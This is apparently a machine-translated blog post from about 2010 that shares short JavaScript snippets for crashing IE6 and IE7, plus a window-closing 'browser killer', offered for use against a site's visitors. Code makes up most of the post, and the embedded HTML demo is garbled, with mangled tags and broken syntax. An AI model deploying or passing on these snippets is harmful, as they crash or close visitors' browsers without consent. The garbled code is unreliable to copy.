I remember that Lao Zhao seemed to hate the use of Internet Explorer 6 to access his blog. He jumped to a prompt page in a gentle way. Recently, I found a strong bug. I was able to crash IE6 and IE7 all at once, so I had no room to breathe. I want to make a public contribution to the Chinese web standards. This bug is related to the browser kernel. It is easy to use without the need for Feature Detection and UA sniffing!
Document. createelement ("Li"). value = 1;
<br/> <! Doctype HTML> <br/> <pead> <br/> <meta charset = "UTF-8"/> <br/> <meta content = "ie = 8 "http-equiv =" X-UA-compatible "/> <br/> <meta name =" keywords "content =" IE6 and IE7 kicker by situ zhengmei "/> <br/> <meta name = "Description" content = "IE6 and IE7 killer by situ zhengmei"/> <br/> <SCRIPT type = "text/JavaScript"> </P> <p> // use setattribute, the value seems to be fixed. It is 1 (read as "day", day is good !) <Br/> document. createelement ("Li "). value = 1; </P> <p> </SCRIPT> <br/> <title> IE6 and IE7 kicker by situ zhengmei </title> <br/> </pead> <br /> <body> </P> <p> <p> kill! Kill! Kill! </H1> <br/> <H2> NO, Please refresh the page (this is a problem with the running box) </H2> <br/> </body> </P> <p> </ptml> <br/>
RunCode
Of course, there are still a lot of code in IE6. Don't worry about it. Finally, it comes with another evil stuff. It can crash most browsers (current pages) and is called the killer of browsers.
Window. Opener = NULL; window. Open ('', '_ Self'); window. Close ();
Execute a browser killer
// 2010.6.28 update kill ie6function crash () {for (X in document. Open);} crash ();
// Update kill ie6function equal (x, y) {return x = y;} function test () {var v = 2147483647; // 2 ^ 31-1 V ++; equal (v, 2147483648);} test ();
Related Links
Find a new method for IE